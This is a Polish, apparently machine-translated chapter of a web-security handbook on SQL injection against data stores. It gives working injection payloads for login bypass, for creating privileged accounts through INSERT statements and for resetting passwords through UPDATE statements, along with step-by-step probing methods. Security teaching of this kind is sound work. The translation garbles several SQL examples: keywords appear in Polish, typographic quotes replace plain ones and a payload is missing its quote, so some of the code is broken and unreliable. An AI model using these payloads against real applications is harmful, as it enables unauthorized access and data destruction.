Atakowanie magazynów danych

Prawie wszystkie aplikacje polegają na magazynie danych do zarządzania danymi przetwarzanymi w aplikacji. W wielu przypadkach dane te sterują podstawową logiką aplikacji, przechowując konta użytkowników, uprawnienia, ustawienia konfiguracji aplikacji i nie tylko. Magazyny danych ewoluowały i stały się czymś znacznie więcej niż tylko pasywnymi kontenerami na dane. Większość z nich przechowuje dane w ustrukturyzowanym formacie, do którego dostęp uzyskuje się za pomocą predefiniowanego formatu lub języka zapytań, oraz zawiera wewnętrzną logikę pomagającą zarządzać tymi danymi. Zazwyczaj aplikacje używają wspólnego poziomu uprawnień dla wszystkich rodzajów dostępu do magazynu danych oraz podczas przetwarzania danych należących do różnych użytkowników aplikacji. Jeśli atakujący może ingerować w interakcję aplikacji z magazynem danych, aby pobrać lub zmodyfikować różne dane, zwykle może ominąć wszelkie kontrole dostępu do danych, które są narzucone w warstwie aplikacji. Opisaną zasadę można zastosować do każdego rodzaju technologii składowania danych. Ponieważ jest to praktyczny podręcznik, skupimy się na wiedzy i technikach potrzebnych do wykorzystania luk w zabezpieczeniach istniejących w rzeczywistych aplikacjach. Zdecydowanie najbardziej powszechnymi magazynami danych są bazy danych SQL, repozytoria oparte na XML i katalogi LDAP. Omówiono również praktyczne przykłady, które można znaleźć gdzie indziej. Omawiając te kluczowe przykłady, opiszemy praktyczne kroki, które można podjąć, aby zidentyfikować i wykorzystać te wady. Istnieje konceptualna synergia w procesie zrozumienia każdego nowego rodzaju zastrzyku. Po zrozumieniu podstaw wykorzystywania tych przejawów wady powinieneś mieć pewność, że możesz skorzystać z tego zrozumienia, gdy napotkasz nową kategorię zastrzyków. Rzeczywiście, powinieneś być w stanie wymyślić dodatkowe sposoby atakowania tych, które inni już przestudiowali.

Wstrzykiwanie w interpretowane konteksty

Język interpretowany to taki, którego wykonanie obejmuje komponent środowiska wykonawczego, który interpretuje kod języka i wykonuje zawarte w nim instrukcje. Natomiast język skompilowany to taki, którego kod jest konwertowany na instrukcje maszynowe w czasie generowania. W czasie wykonywania instrukcje te są wykonywane bezpośrednio przez procesor komputera, na którym są uruchomione. Zasadniczo każdy język można zaimplementować za pomocą tłumacza lub kompilatora, a rozróżnienie nie jest nieodłączną właściwością samego języka. Niemniej jednak większość języków jest zwykle implementowana tylko na jeden z tych dwóch sposobów, a wiele podstawowych języków używanych do tworzenia aplikacji internetowych jest implementowanych przy użyciu interpretera, w tym SQL, LDAP, Perl i PHP. Ze względu na sposób wykonywania języków interpretowanych powstaje rodzina luk znanych jako wstrzykiwanie kodu. W każdej użytecznej aplikacji dane dostarczone przez użytkownika są odbierane, przetwarzane i przetwarzane. Dlatego kod przetwarzany przez interpreter jest mieszanką instrukcji napisanych przez programistę i danych dostarczonych przez użytkownika. W niektórych sytuacjach osoba atakująca może dostarczyć spreparowane dane wejściowe, które wyłamują się z kontekstu danych, zwykle dostarczając pewną składnię, która ma specjalne znaczenie w gramatyce używanego języka interpretowanego. W rezultacie część tego wejścia zostaje zinterpretowana jako instrukcje programu, które są wykonywane w taki sam sposób, jakby zostały napisane przez oryginalnego programistę. Dlatego często udany atak całkowicie narusza komponent aplikacji, który jest celem ataku. Z drugiej strony, w rodzimych językach kompilowanych ataki mające na celu wykonanie dowolnych poleceń są zwykle bardzo różne. Metoda wstrzykiwania kodu zwykle nie wykorzystuje żadnych cech składniowych języka używanego do programowania programu docelowego, a wstrzyknięty ładunek zwykle zawiera kod maszynowy, a nie instrukcje napisane w tym języku.

Omijanie logowania

Proces, za pomocą którego aplikacja uzyskuje dostęp do magazynu danych, jest zwykle taki sam, niezależnie od tego, czy dostęp ten został wywołany przez działania nieuprzywilejowanego użytkownika, czy administratora aplikacji. Aplikacja internetowa działa jako uznaniowa kontrola dostępu do magazynu danych, konstruując zapytania w celu pobierania, dodawania lub modyfikowania danych w magazynie danych na podstawie konta i typu użytkownika. Udany atak iniekcyjny, który modyfikuje zapytanie (a nie tylko dane w zapytaniu), może ominąć uznaniową kontrolę dostępu aplikacji i uzyskać nieautoryzowany dostęp. Jeśli logika aplikacji istotna dla bezpieczeństwa jest kontrolowana przez wyniki zapytania, osoba atakująca może potencjalnie zmodyfikować zapytanie, aby zmienić logikę aplikacji. Przyjrzyj się typowemu przykładowi, w którym do magazynu danych zaplecza wysyłane jest zapytanie o rekordy w tabeli użytkownika, które odpowiadają poświadczeniom podanym przez użytkownika. Wiele aplikacji, które implementują funkcję logowania opartą na formularzach, używa bazy danych do przechowywania poświadczeń użytkownika i wykonuje proste zapytanie SQL w celu sprawdzenia poprawności każdej próby logowania. Oto typowy przykład:

SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’

To zapytanie powoduje, że baza danych sprawdza każdy wiersz w tabeli users i wyodrębnia każdy rekord, w którym kolumna nazwy użytkownika ma wartość Marcus, a kolumna hasła ma wartość Secret. Jeśli dane użytkownika zostaną zwrócone do aplikacji, próba logowania zakończy się pomyślnie, a aplikacja utworzy uwierzytelnioną sesję dla tego użytkownika. W tej sytuacji osoba atakująca może wstrzyknąć nazwę użytkownika lub hasło, aby zmodyfikować zapytanie wykonywane przez aplikację iw ten sposób podważyć jej logikę. Na przykład, jeśli atakujący wie, że nazwa użytkownika administratora aplikacji to admin, może zalogować się jako ten użytkownik, podając dowolne hasło i następującą nazwę użytkownika:

admin'--

Powoduje to, że aplikacja wykonuje następujące zapytanie:

SELECT * FROM users WHERE username = ‘admin’--’ AND password = ‘foo’

Zauważ, że sekwencja komentarza (--) powoduje zignorowanie pozostałej części zapytania, więc wykonane zapytanie jest równoważne z:

SELECT * FROM users WHERE username = ‘admin’

więc sprawdzanie hasła jest pomijane.

Załóżmy, że atakujący nie zna nazwy użytkownika administratora. W większości aplikacji pierwszym kontem w bazie danych jest użytkownik administracyjny, ponieważ konto to jest zwykle tworzone ręcznie, a następnie służy do generowania wszystkich innych kont za pośrednictwem aplikacji. Co więcej, jeśli zapytanie zwróci szczegóły dotyczące więcej niż jednego użytkownika, większość aplikacji po prostu przetworzy pierwszego użytkownika, którego dane zostaną zwrócone. Osoba atakująca może często wykorzystać to zachowanie, aby zalogować się jako pierwszy użytkownik w bazie danych, podając nazwę użytkownika:

OR 1=1—

Powoduje to, że aplikacja wykonuje zapytanie:

SELECT * FROM users WHERE username = ‘’ OR 1=1--’ AND password = ‘foo’

Ze względu na symbol komentarza jest to równoważne z:

SELECT * FROM users WHERE username = '' OR 1=1

która zwraca dane wszystkich użytkowników aplikacji.

UWAGA: Wstrzyknięcie do interpretowanego kontekstu w celu zmiany logiki aplikacji jest ogólną techniką ataku. Odpowiednia luka może powstać w zapytaniach LDAP, zapytaniach XPath, implementacjach kolejek komunikatów lub w każdym niestandardowym języku zapytań.

KROKI HACKOWANIA

Wstrzykiwanie do języków interpretowanych to szeroki temat, obejmujący wiele różnych rodzajów luk i potencjalnie wpływający na każdy komponent infrastruktury wspierającej aplikację internetową. Szczegółowe kroki wykrywania i wykorzystywania błędów polegających na wstrzykiwaniu kodu zależą od języka, który jest celem ataku, oraz technik programowania stosowanych przez twórców aplikacji. Jednak w każdym przypadku ogólne podejście jest następujące:

1. Podaj nieoczekiwaną składnię, która może powodować problemy w kontekście konkretnego interpretowanego języka.

2. Zidentyfikuj wszelkie anomalie w odpowiedzi aplikacji, które mogą wskazywać na obecność podatności na wstrzyknięcie kodu.

3. Jeśli pojawią się komunikaty o błędach, przejrzyj je, aby uzyskać informacje o problemie, który wystąpił na serwerze.

4. W razie potrzeby systematycznie modyfikuj początkowe dane wejściowe w odpowiedni sposób, aby potwierdzić lub obalić wstępną diagnozę luki w zabezpieczeniach.

5. Skonstruuj test sprawdzający słuszność koncepcji, który powoduje wykonanie bezpiecznego polecenia w weryfikowalny sposób, aby ostatecznie udowodnić, że istnieje możliwa do wykorzystania luka polegająca na wstrzyknięciu kodu.

6. Wykorzystaj lukę, wykorzystując funkcjonalność docelowego języka i komponentu, aby osiągnąć swoje cele.

Wstrzykiwanie do SQL

Prawie każda aplikacja internetowa wykorzystuje bazę danych do przechowywania różnego rodzaju informacji potrzebnych do działania. Na przykład aplikacja internetowa wdrożona przez sprzedawcę internetowego może używać bazy danych do przechowywania następujących informacji:

* Konta użytkowników, dane uwierzytelniające i dane osobowe

* Opisy i ceny sprzedawanych towarów

* Zamówienia, wyciągi z konta i szczegóły płatności

* Uprawnienia każdego użytkownika w aplikacji

Sposobem dostępu do informacji w bazie danych jest Structured Query Language (SQL). SQL może być używany do odczytywania, aktualizowania, dodawania i usuwania informacji przechowywanych w bazie danych. SQL jest językiem interpretowanym, a aplikacje internetowe często konstruują instrukcje SQL, które zawierają dane dostarczone przez użytkownika. Jeśli zostanie to zrobione w niebezpieczny sposób, aplikacja może być podatna na iniekcję SQL. Ta luka jest jedną z najbardziej znanych luk w zabezpieczeniach aplikacji internetowych. W najpoważniejszych przypadkach SQL Injection może umożliwić anonimowemu atakującemu odczytanie i modyfikację wszystkich danych przechowywanych

w bazie danych, a nawet przejęcie pełnej kontroli nad serwerem, na którym działa baza danych. Wraz ze wzrostem świadomości w zakresie bezpieczeństwa aplikacji internetowych luki w zabezpieczeniach związane z iniekcją SQL stawały się coraz mniej rozpowszechnione i coraz trudniejsze do wykrycia i wykorzystania. Wiele nowoczesnych aplikacji unika iniekcji SQL, stosując interfejsy API, które, jeśli są właściwie używane, są z natury bezpieczne przed atakami iniekcji SQL. W takich okolicznościach wstrzyknięcie kodu SQL zwykle występuje w sporadycznych przypadkach, w których nie można zastosować tych mechanizmów obronnych. Znalezienie iniekcji SQL jest czasem trudnym zadaniem, wymagającym wytrwałości w znalezieniu jednego lub dwóch wystąpień w aplikacji, w których nie zastosowano zwykłych elementów sterujących. Wraz z rozwojem tego trendu ewoluowały metody znajdowania i wykorzystywania luk wstrzykiwanych SQL, wykorzystujące bardziej subtelne wskaźniki luk oraz bardziej wyrafinowane i wydajne techniki wykorzystywania. Zaczniemy od zbadania najbardziej podstawowych przypadków, a następnie przejdziemy do opisu najnowszych technik ślepego wykrywania i wykorzystywania. Szeroka gama baz danych jest wykorzystywana do obsługi aplikacji internetowych. Chociaż podstawy iniekcji SQL są wspólne dla zdecydowanej większości z nich, istnieje wiele różnic. Obejmują one zarówno niewielkie różnice w składni, jak i znaczne rozbieżności w zachowaniu i funkcjonalności, które mogą mieć wpływ na rodzaje ataków, które można przeprowadzać. Ze względu na miejsce i zdrowy rozsądek ograniczymy nasze przykłady do trzech najczęściej spotykanych baz danych — Oracle, MS-SQL i MySQL. W stosownych przypadkach zwrócimy uwagę na różnice między tymi trzema platformami. Wyposażeni w techniki, które tu opisujemy, powinieneś być w stanie zidentyfikować i wykorzystać błędy iniekcji SQL w dowolnej innej bazie danych, wykonując szybkie dodatkowe badania.

WSKAZÓWKA : W wielu sytuacjach bardzo przydatny okaże się dostęp do lokalnej instalacji tej samej bazy danych, z której korzysta aplikacja, na którą celujesz. Często zauważysz, że aby osiągnąć swoje cele, musisz poprawić fragment składni lub skorzystać z wbudowanej tabeli lub funkcji. Odpowiedzi otrzymywane z aplikacji docelowej będą często niekompletne lub niejasne, co wymaga trochę pracy detektywistycznej, aby je zrozumieć. Wszystko to jest znacznie łatwiejsze, jeśli możesz odnieść się do w pełni przejrzystej działającej wersji danej bazy danych. Jeśli nie jest to wykonalne, dobrą alternatywą jest znalezienie odpowiedniego interaktywnego środowiska online, na którym można eksperymentować, takiego jak interaktywne samouczki na stronie SQLzoo.net.

Wykorzystanie podstawowej luki w zabezpieczeniach

Rozważmy aplikację internetową wdrożoną przez sprzedawcę książek, która umożliwia użytkownikom wyszukiwanie produktów według autora, tytułu, wydawcy itd. Cały katalog książek jest przechowywany w bazie danych, a aplikacja używa zapytań SQL do pobierania szczegółowych informacji o różnych książkach na podstawie wyszukiwanych terminów podanych przez użytkowników. Gdy użytkownik wyszukuje wszystkie książki wydane przez Wiley, aplikacja wykonuje następujące zapytanie:

SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ and

published=1

To zapytanie powoduje, że baza danych sprawdza każdy wiersz w tabeli książek, wyodrębnia każdy z rekordów, w których kolumna wydawcy ma wartość Wiley, a publikowana ma wartość 1, i zwraca zestaw wszystkich tych rekordów. Następnie aplikacja przetwarza ten zestaw rekordów i przedstawia go użytkownikowi na stronie HTML. W tym zapytaniu słowa po lewej stronie znaku równości to słowa kluczowe SQL oraz nazwy tabel i kolumn w bazie danych. Ta część zapytania

został skonstruowany przez programistę podczas tworzenia aplikacji. Wyrażenie Wiley jest dostarczane przez użytkownika i ma znaczenie jako element danych. Dane łańcuchowe w zapytaniach SQL muszą być ujęte w pojedyncze cudzysłowy, aby oddzielić je od reszty zapytania. Zastanówmy się teraz, co się stanie, gdy użytkownik wyszuka wszystkie książki opublikowane przez O'Reilly. Powoduje to, że aplikacja wykonuje następujące zapytanie:

SELECT author,title,year FROM books WHERE publisher = 'O'Reilly' and published=1

W tym przypadku interpreter zapytań dociera do danych łańcuchowych w taki sam sposób jak poprzednio. Analizuje te dane, które są ujęte w pojedynczy cudzysłów, i uzyskuje wartość O. Następnie napotyka wyrażenie Reilly', które nie jest poprawną składnią SQL, i dlatego generuje błąd:

Incorrect syntax near 'Reilly'.

Server: Msg 105, Level 15, State 1, Line 1

Unclosed quotation mark before the character string '

Kiedy aplikacja zachowuje się w ten sposób, jest szeroko otwarta na iniekcję SQL. Atakujący może podać dane wejściowe zawierające znak cudzysłowu, aby zakończyć kontrolowany przez siebie ciąg znaków. Następnie może napisać dowolny kod SQL, aby zmodyfikować zapytanie, które programista zamierzał wykonać w aplikacji. Na przykład w tej sytuacji atakujący może zmodyfikować zapytanie, aby zwrócić każdą książkę z katalogu sprzedawcy, wprowadzając wyszukiwane hasło:

Wiley' OR 1=1--

Powoduje to, że aplikacja wykonuje następujące zapytanie:

SELECT author,title,year FROM books WHERE publisher = 'Wiley' OR

1=1--' and published=1

Spowoduje to modyfikację klauzuli WHERE zapytania programisty w celu dodania drugiego warunku. Baza danych sprawdza każdy wiersz w tabeli książek i wyodrębnia każdy rekord, w którym kolumna wydawcy ma wartość Wiley lub gdzie 1 jest równe 1. Ponieważ 1 zawsze równa się 1, baza danych zwraca każdy rekord w tabeli książek. Podwójny łącznik w danych wejściowych atakującego jest znaczącym wyrażeniem w języku SQL, które mówi interpreterowi zapytań, że pozostała część wiersza jest komentarzem i powinna zostać zignorowana. Ta sztuczka jest niezwykle przydatna w niektórych atakach typu SQL injection, ponieważ umożliwia zignorowanie pozostałej części zapytania utworzonego przez programistę aplikacji. W tym przykładzie aplikacja umieszcza łańcuch podany przez użytkownika w pojedynczym cudzysłowie. Ponieważ atakujący zakończył kontrolowany przez siebie ciąg znaków i wstrzyknął trochę dodatkowego kodu SQL, musi obsłużyć końcowy cudzysłów, aby uniknąć błędu składniowego, jak w przykładzie z O'Reilly. Osiąga to przez dodanie podwójnego łącznika, powodując, że pozostała część zapytania jest traktowana jako komentarz. W MySQL musisz umieścić spację po podwójnym myślniku lub użyć znaku krzyżyka, aby określić komentarz. Oryginalne zapytanie kontrolowało również dostęp tylko do opublikowanych książek, ponieważ określono i opublikowano = 1. Wstrzykując sekwencję komentarzy, osoba atakująca uzyskała nieautoryzowany dostęp poprzez zwrócenie szczegółów wszystkich książek, opublikowanych lub innych.

WSKAZÓWKA: W niektórych sytuacjach alternatywnym sposobem obsługi końcowego cudzysłowu bez użycia symbolu komentarza jest „zrównoważenie cudzysłowów". Kończysz wstrzyknięte dane wejściowe elementem danych ciągu, który wymaga końcowego cudzysłowu, aby go hermetyzować. Na przykład wpisując wyszukiwane hasło:

Wiley’ OR ‘a’ = ‘a

wyniki w zapytaniu:

SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ OR

‘a’=’a’ and published=1

Jest to całkowicie poprawne i daje ten sam wynik, co atak 1 = 1 polegający na zwróceniu wszystkich książek opublikowanych przez Wiley, niezależnie od tego, czy zostały opublikowane.

Ten przykład pokazuje, jak można ominąć logikę aplikacji, umożliwiając lukę w kontroli dostępu, w której osoba atakująca może przeglądać wszystkie książki, a nie tylko książki pasujące do dozwolonego filtra (pokazujące opublikowane książki). Jednak pokrótce opiszemy, w jaki sposób można wykorzystać takie błędy iniekcji SQL do wyodrębnienia dowolnych danych z różnych tabel bazy danych oraz do eskalacji uprawnień w bazie danych i na serwerze bazy danych. Z tego powodu każdą lukę w zabezpieczeniach typu SQL injection należy traktować jako wyjątkowo poważną, niezależnie od jej dokładnego kontekstu w obrębie funkcjonalności aplikacji.

Wstrzykiwanie do różnych typów instrukcji

Język SQL zawiera szereg czasowników, które mogą pojawiać się na początku instrukcji. Ponieważ jest to najczęściej używany czasownik, większość luk w zabezpieczeniach związanych z iniekcją SQL powstaje w instrukcjach SELECT. Rzeczywiście, dyskusje na temat iniekcji SQL często sprawiają wrażenie, że luka występuje tylko w połączeniu z instrukcjami SELECT, ponieważ wszystkie użyte przykłady są tego typu. Jednak błędy iniekcji SQL mogą występować w instrukcjach dowolnego typu. Musisz zdawać sobie sprawę z kilku ważnych kwestii w odniesieniu do każdego z nich. Oczywiście, kiedy wchodzisz w interakcję ze zdalną aplikacją, zwykle nie można z góry wiedzieć, na podstawie jakiego typu instrukcji zostanie przetworzony dany element danych wprowadzonych przez użytkownika. Jednak zwykle można zgadywać na podstawie typu funkcji aplikacji, z którą masz do czynienia. Poniżej opisano najpopularniejsze typy instrukcji SQL i ich zastosowania.

Instrukcja SELECT

Instrukcje SELECT służą do pobierania informacji z bazy danych. Wykorzystywane są często w funkcjach, w których aplikacja zwraca informacje w odpowiedzi na działania użytkownika, takie jak przeglądanie katalogu produktów, przeglądanie profilu użytkownika czy przeprowadzanie wyszukiwania. Są również często używane w funkcjach logowania, w których informacje dostarczone przez użytkownika są porównywane z danymi pobranymi z bazy danych. Podobnie jak w poprzednich przykładach, punktem wejścia dla ataków typu SQL injection jest zwykle klauzula WHERE zapytania. Elementy dostarczone przez użytkownika są przekazywane do bazy danych w celu kontrolowania zakresu wyników zapytania. Ponieważ klauzula WHERE jest zwykle końcowym składnikiem instrukcji SELECT, umożliwia to atakującemu użycie symbolu komentarza do obcięcia zapytania do końca jego danych wejściowych bez unieważniania składni całego zapytania. Czasami występują luki w zabezpieczeniach typu SQL injection, które wpływają na inne części zapytania SELECT, takie jak klauzula ORDER BY lub nazwy tabel i kolumn.

Instrukcja INSERT

Instrukcje INSERT służą do tworzenia nowego wiersza danych w tabeli. Są często używane, gdy aplikacja dodaje nowy wpis do dziennika kontroli, tworzy nowe konto użytkownika lub generuje nowe zamówienie. Na przykład aplikacja może pozwolić użytkownikom na samodzielną rejestrację,

określając własną nazwę użytkownika i hasło, a następnie może wstawić szczegóły do tabeli użytkowników za pomocą następującej instrukcji:

INSERT INTO users (username, password, ID, privs) VALUES (‘daf’,

‘secret’, 2248, 1)

Jeśli pole nazwy użytkownika lub hasła jest podatne na wstrzyknięcie kodu SQL, osoba atakująca może wstawić do tabeli dowolne dane, w tym własne wartości ID i priv. Jednak aby to zrobić, musi upewnić się, że pozostała część klauzuli VALUES jest poprawnie wypełniona. W szczególności musi zawierać odpowiednią liczbę elementów danych właściwego typu. Na przykład, wstrzykując do pola nazwy użytkownika, atakujący może podać:

foo’, ‘bar’, 9999, 0)--

Spowoduje to utworzenie konta o identyfikatorze 9999 i priv równym 0. Zakładając, że pole privs jest używane do określania uprawnień konta, może to umożliwić atakującemu utworzenie użytkownika administracyjnego. W niektórych sytuacjach, gdy pracuje się całkowicie na ślepo, wstrzyknięcie do instrukcji INSERT może umożliwić atakującemu wydobycie ciągu znaków z aplikacji. Na przykład osoba atakująca może pobrać ciąg wersji bazy danych i wstawić go do pola w swoim własnym profilu użytkownika, które może zostać wyświetlone w jego przeglądarce w normalny sposób.

WSKAZÓWKA: Podczas próby wstrzyknięcia do instrukcji INSERT możesz nie wiedzieć z góry, ile parametrów jest wymaganych lub jakie są ich typy. W powyższej sytuacji możesz dodawać kolejne pola do klauzuli VALUES, dopóki żądane konto użytkownika nie zostanie faktycznie utworzone. Na przykład, wstrzykując do pola nazwy użytkownika, możesz przesłać:

bla')--

foo’, 1)--

foo’, 1, 1)--

foo’, 1, 1, 1)--

Ponieważ większość baz danych niejawnie rzutuje liczbę całkowitą na łańcuch, na każdej pozycji można użyć wartości całkowitej. W tym przypadku wynikiem jest konto z nazwą użytkownika foo i hasłem 1, niezależnie od kolejności, w jakiej znajdują się pozostałe pola. Jeśli okaże się, że wartość 1 jest nadal odrzucana, możesz wypróbować wartość 2000, co jest stosowane w wielu bazach danych również niejawnie rzutować na typy danych oparte na datach. Po określeniu prawidłowej liczby pól następujących po punkcie wstrzyknięcia, w MS-SQL można dodać drugie dowolne zapytanie i skorzystać z jednej z technik opartych na wnioskowaniu, opisanych w dalszej części tej części. W Oracle zapytanie podselekcji może być wydawane w ramach zapytania wstawiania. Ta kwerenda podselekcji może spowodować powodzenie lub niepowodzenie kwerendy głównej przy użyciu technik opartych na wnioskowaniu opisanych w dalszej części.

Instrukcja UPDATE

Instrukcje UPDATE służą do modyfikowania jednego lub większej liczby istniejących wierszy danych w tabeli. Są często używane w funkcjach, w których użytkownik zmienia wartość już istniejących danych — na przykład aktualizując swoje dane kontaktowe, zmieniając hasło lub zmieniając ilość w wierszu zamówienia. Typowa instrukcja UPDATE działa podobnie jak instrukcja INSERT, z tą różnicą, że zwykle zawiera klauzulę WHERE informującą bazę danych, które wiersze tabeli mają zostać zaktualizowane. Na przykład, gdy użytkownik zmieni swoje hasło, aplikacja może wykonać następujące zapytanie:

UPDATE users SET password=’newsecret’ WHERE user = ‘marcus’ and password = ‘secret’

To zapytanie w efekcie weryfikuje, czy istniejące hasło użytkownika jest poprawne, a jeśli tak, aktualizuje je o nową wartość. Jeśli funkcja jest podatna na wstrzyknięcie kodu SQL, osoba atakująca może ominąć sprawdzanie istniejącego hasła i zaktualizować hasło administratora, wprowadzając następującą nazwę użytkownika:

admin'—

UWAGA: Wyszukiwanie luk w zabezpieczeniach związanych z iniekcją SQL w aplikacji zdalnej jest zawsze potencjalnie niebezpieczne, ponieważ nie można z góry wiedzieć, jakie działanie wykona aplikacja przy użyciu spreparowanych danych wejściowych. W szczególności modyfikacja klauzuli WHERE w instrukcji UPDATE może spowodować wprowadzenie zmian w krytycznej tabeli bazy danych. Na przykład, jeśli właśnie opisany atak zamiast tego dostarczył nazwę użytkownika:

admin’ lub 1=1--

spowodowałoby to wykonanie przez aplikację zapytania:

UPDATE users SET password=’newsecret’ GDZIE użytkownik = ‘admin’ lub

1=1

Spowoduje to zresetowanie wartości hasła każdego użytkownika, ponieważ 1 zawsze równa się 1! Pamiętaj, że to ryzyko istnieje nawet wtedy, gdy atakujesz funkcję aplikacji, która nie aktualizuje żadnych istniejących danych, takich jak główny login. Zdarzały się przypadki, że po udanym zalogowaniu aplikacja wykonywała różne zapytania UPDATE przy użyciu podanej nazwy użytkownika. Oznacza to, że każdy atak na klauzulę WHERE może zostać zreplikowany w tych innych instrukcjach, potencjalnie siejąc spustoszenie w profilach wszystkich użytkowników aplikacji. Należy upewnić się, że właściciel aplikacji akceptuje to nieuniknione ryzyko przed próbą zbadania lub wykorzystania luk iniekcji SQL. Należy również zdecydowanie zachęcić właściciela do wykonania pełnej kopii zapasowej bazy danych przed rozpoczęciem testowania.

instrukcja DELETE

Instrukcje DELETE służą do usuwania jednego lub więcej wierszy danych w tabeli, na przykład gdy użytkownicy usuwają pozycję z koszyka lub usuwają adres dostawy ze swoich danych osobowych. Podobnie jak w przypadku instrukcji UPDATE, klauzula WHERE jest zwykle używana do poinformowania bazy danych, które wiersze tabeli mają zostać zaktualizowane. Dane dostarczone przez użytkownika najprawdopodobniej zostaną włączone do tej klauzuli. Podważenie zamierzonej klauzuli WHERE może mieć dalekosiężne skutki, więc w przypadku tego ataku stosuje się tę samą ostrożność, co w przypadku instrukcji UPDATE.

Znajdowanie błędów wstrzykiwania SQL

W najbardziej oczywistych przypadkach błąd wstrzykiwania kodu SQL można wykryć i ostatecznie zweryfikować, dostarczając do aplikacji pojedynczy element nieoczekiwanych danych wejściowych. W innych przypadkach błędy mogą być bardzo subtelne i trudne do odróżnienia od innych kategorii luk w zabezpieczeniach lub łagodnych anomalii, które nie stanowią zagrożenia dla bezpieczeństwa. Niemniej jednak można wykonać różne kroki w uporządkowany sposób, aby rzetelnie zweryfikować większość błędów SQL injection.

UWAGA: W ćwiczeniach dotyczących mapowania aplikacji należy zidentyfikować przypadki, w których aplikacja wydaje się uzyskiwać dostęp do wewnętrznej bazy danych. Wszystkie z nich należy zbadać

pod kątem błędów iniekcji SQL. W rzeczywistości absolutnie każdy element danych przesłany na serwer może zostać przekazany do funkcji bazy danych w sposób nieoczywisty z punktu widzenia użytkownika i może być potraktowany w sposób niebezpieczny. Dlatego musisz zbadać każdy taki element pod kątem luk w zabezpieczeniach związanych z iniekcją SQL. Obejmuje to wszystkie parametry adresu URL, pliki cookie, elementy danych POST i nagłówki HTTP. We wszystkich przypadkach może istnieć luka w obsłudze zarówno nazwy, jak i wartości odpowiedniego parametru.

WSKAZÓWKA: Podczas sondowania pod kątem luk w zabezpieczeniach związanych z wstrzykiwaniem kodu SQL należy przejść do końca wszystkie wieloetapowe procesy, w których przesyłane są spreparowane dane wejściowe. Aplikacje często gromadzą zbiór danych obejmujący kilka żądań i przechowują go w bazie danych dopiero po zebraniu całego zestawu. W takiej sytuacji ominie Cię wiele luk w zabezpieczeniach związanych z iniekcją SQL, jeśli tylko prześlesz spreparowane dane w ramach każdego pojedynczego żądania i monitorujesz odpowiedź aplikacji na to żądanie.

Wstrzykiwanie do ciągu danych

Gdy dane łańcuchowe dostarczone przez użytkownika są włączane do zapytania SQL, są umieszczane w pojedynczych cudzysłowach. Aby wykorzystać jakąkolwiek lukę związaną z iniekcją SQL, musisz wyjść z tych cudzysłowów.

KROKI HACKOWANIA

1. Prześlij pojedynczy cudzysłów jako element danych, na który kierujesz. Obserwuj, czy wystąpił błąd lub czy wynik w jakikolwiek inny sposób różni się od oryginału. Jeśli zostanie wyświetlony szczegółowy komunikat o błędzie bazy danych, zapoznaj się z sekcją „Składnia SQL i informacje o błędach”, aby zrozumieć jego znaczenie.

2. Jeśli zaobserwowano błąd lub inne rozbieżne zachowanie, podaj razem dwa pojedyncze cudzysłowy. Bazy danych używają dwóch pojedynczych cudzysłowów jako sekwencji ucieczki do reprezentowania dosłownego pojedynczego cudzysłowu, więc sekwencja jest interpretowana jako dane w cudzysłowie, a nie jako terminator ciągu zamykającego. Jeśli te dane wejściowe powodują zniknięcie błędu lub nietypowego zachowania, aplikacja jest prawdopodobnie podatna na iniekcję SQL.

3. Jako dodatkową weryfikację, czy występuje błąd, możesz użyć znaków konkatenatora SQL, aby skonstruować ciąg, który jest równoważny z pewnymi niegroźnymi danymi wejściowymi. Jeśli aplikacja obsługuje spreparowane dane wejściowe w taki sam sposób, jak odpowiednie nieszkodliwe dane wejściowe, prawdopodobnie jest podatna na ataki. Każdy typ bazy danych używa różnych metod łączenia łańcuchów. Poniższe przykłady można wstrzyknąć w celu skonstruowania danych wejściowych, które są równoważne FOO w aplikacji podatnej na ataki:

* Oracle: „||”FOO

* MS-SQL: „+” FOO

* MySQL: ‘’FOO (zwróć uwagę na spację między dwoma cudzysłowami)

WSKAZÓWKA: Jednym ze sposobów potwierdzenia, że aplikacja wchodzi w interakcję z bazą danych zaplecza, jest przesłanie symbolu wieloznacznego SQL % w danym parametrze. Na przykład przesłanie tego w polu wyszukiwania często zwraca dużą liczbę wyników, wskazując, że dane wejściowe są przekazywane do zapytania SQL. Oczywiście nie musi to oznaczać, że aplikacja jest podatna na ataki — należy jedynie dokładniej zbadać, aby zidentyfikować rzeczywiste wady.

WSKAZÓWKA: szukając wstrzyknięcia kodu SQL za pomocą pojedynczego cudzysłowu, zwracaj uwagę na wszelkie błędy JavaScript występujące podczas przetwarzania zwracanej strony przez przeglądarkę. Dość często zdarza się, że dane wejściowe dostarczone przez użytkownika są zwracane w JavaScript, a nieoczyszczony pojedynczy cudzysłów spowoduje błąd w interpreterze JavaScript, podobnie jak w interpreterze SQL. Możliwość wstrzykiwania dowolnego kodu JavaScript do odpowiedzi umożliwia ataki typu cross-site scripting

Wstrzykiwanie do danych liczbowych

Gdy dane numeryczne dostarczone przez użytkownika są włączane do zapytania SQL, aplikacja może nadal traktować je jako dane łańcuchowe, umieszczając je w pojedynczych cudzysłowach. W związku z tym należy zawsze postępować zgodnie z krokami opisanymi wcześniej dla danych łańcuchowych. Jednak w większości przypadków dane liczbowe są przekazywane bezpośrednio do bazy danych w postaci numerycznej i dlatego nie są umieszczane w cudzysłowach. Jeśli żaden z poprzednich testów nie wskazuje na obecność luki w zabezpieczeniach, możesz wykonać inne konkretne kroki w odniesieniu do danych liczbowych.

KROKI HACKOWANIA

1. Spróbuj podać proste wyrażenie matematyczne, które jest równoważne oryginalnej wartości liczbowej. Na przykład, jeśli oryginalna wartość to 2, spróbuj przesłać 1+1 lub 3-1. Jeśli aplikacja zareaguje w ten sam sposób, może być podatna na ataki.

2. Poprzedni test jest najbardziej wiarygodny w przypadkach, w których potwierdziłeś, że modyfikowany element ma zauważalny wpływ na zachowanie aplikacji. Na przykład, jeśli aplikacja używa numerycznego parametru PageID do określenia, która zawartość ma zostać zwrócona, zastąpienie 1+1 zamiast 2 z równoważnymi wynikami jest dobrym znakiem, że występuje iniekcja SQL. Jeśli jednak możesz umieścić dowolne dane wejściowe w parametrze numerycznym bez zmiany zachowania aplikacji, poprzedni test nie dostarczy dowodów na istnienie luki w zabezpieczeniach.

